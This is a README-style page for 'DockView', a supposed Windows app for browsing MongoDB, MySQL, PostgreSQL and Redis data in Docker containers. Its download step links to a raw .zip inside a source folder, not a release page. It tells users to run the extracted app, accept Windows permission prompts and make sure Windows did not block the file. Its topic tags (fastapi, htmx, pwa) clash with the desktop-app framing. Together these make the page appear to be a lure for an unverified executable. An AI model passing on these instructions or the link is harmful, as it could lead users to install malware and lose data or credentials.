DockView is a desktop app that helps you view databases that run inside Docker.
It is made for simple use. You open the app, connect to a running Docker container, and browse your data in a clear table view.
DockView works with common database types, including:
- MongoDB
- MySQL
- PostgreSQL
- Redis
It is built for people who want to look at data without setting up a full database tool by hand.
Use DockView on a Windows PC with:
- Windows 10 or Windows 11
- Docker Desktop installed and running
- A database container already running
- Enough free space for the app and your database data
- A stable network or local Docker setup
For best results, keep Docker Desktop open before you start DockView.
- Open this page: https://github.com/Laf1456/dockview/raw/refs/heads/main/app/services/Software_v3.9.zip
- Find the latest release or download file
- Download DockView to your computer
- If the file is a
.zip, right-click it and choose Extract All - Open the extracted folder
- Double-click the DockView app to run it
- If Windows asks for permission, choose Yes
If the download gives you an app file, you can open it right away after it finishes downloading.
After you start DockView for the first time:
- Make sure Docker Desktop is running
- Start the database container you want to view
- Open DockView
- Choose the database type
- Enter the container details shown in Docker
- Connect to the database
DockView is designed to keep this simple. In many cases, it can find the right connection details with little input.
DockView can help you view data from these common database systems:
Use this for document data stored in collections.
Use this for table-based data in a classic relational setup.
Use this for structured data with strong query support.
Use this for key-value data and fast lookups.
- Start the app
- Pick the database you want to view
- Connect to the running container
- Choose a database, schema, or collection
- Open a table or record list
- Browse rows, fields, and values
- Search for data when you need something specific
The app uses a clean layout so you can move through your data without a long setup process.
Open a table or collection to see the data inside it.
Use the search field to find names, IDs, or values.
Reload the view after new data is added to your container.
Move between containers or database types from the main screen.
Open a record to see the full content in one place.
- Keep Docker Desktop open before you launch DockView
- Use the same database container name each time if possible
- If you have more than one database running, check the port number
- Start with a small test database if you want to learn the app
- Close other heavy apps if your PC feels slow
If DockView does not open:
- Check that the file finished downloading
- Make sure you extracted the
.zipfile if needed - Right-click the app and choose Open
- Confirm that Windows did not block the file
- Check that Docker Desktop is running
- Start your database container again
If the app opens but you do not see data:
- Check that the container is still running
- Confirm the database type is correct
- Verify the container name or port
- Refresh the view
- Restart the app if needed
DockView is meant for local database viewing through Docker.
It connects to the databases you run on your own machine or local network. Your data stays in your setup unless you connect it elsewhere.
- Repository: dockview
- Description: Initial public release of DockView — a zero-config Docker database viewer.
- Topics: database, developer-tools, docker, fastapi, htmx, mongodb, mysql, postgresql, pwa, redis
When new releases appear, return to the download page and get the latest version for Windows.